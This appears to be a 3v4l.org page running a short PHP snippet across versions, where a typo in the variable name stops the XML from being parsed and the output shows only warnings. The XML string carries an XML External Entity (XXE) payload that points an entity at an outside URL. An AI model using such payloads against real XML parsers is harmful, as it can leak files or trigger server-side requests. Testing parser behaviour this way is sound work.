3v4l.org

run code in 300+ PHP versions simultaneously
<?php $goodXML = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://0x.rs/test" >]><foo>&xxe;</foo><test><testing>my value</testing></test>'; $doc = simplexml_load_string($goodXml); echo $doc->testing;
Output for git.master, git.master_jit
Warning: Undefined variable $goodXml in /in/MPDZ5 on line 4 Deprecated: simplexml_load_string(): Passing null to parameter #1 ($data) of type string is deprecated in /in/MPDZ5 on line 4 Warning: Attempt to read property "testing" on bool in /in/MPDZ5 on line 5
Output for rfc.property-hooks
Warning: Undefined variable $goodXml in /in/MPDZ5 on line 4 Deprecated: simplexml_load_string(): Passing null to parameter #1 ($data) of type string is deprecated in /in/MPDZ5 on line 4 Warning: Attempt to read property "testing" on false in /in/MPDZ5 on line 5

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
70.95 ms | 401 KiB | 8 Q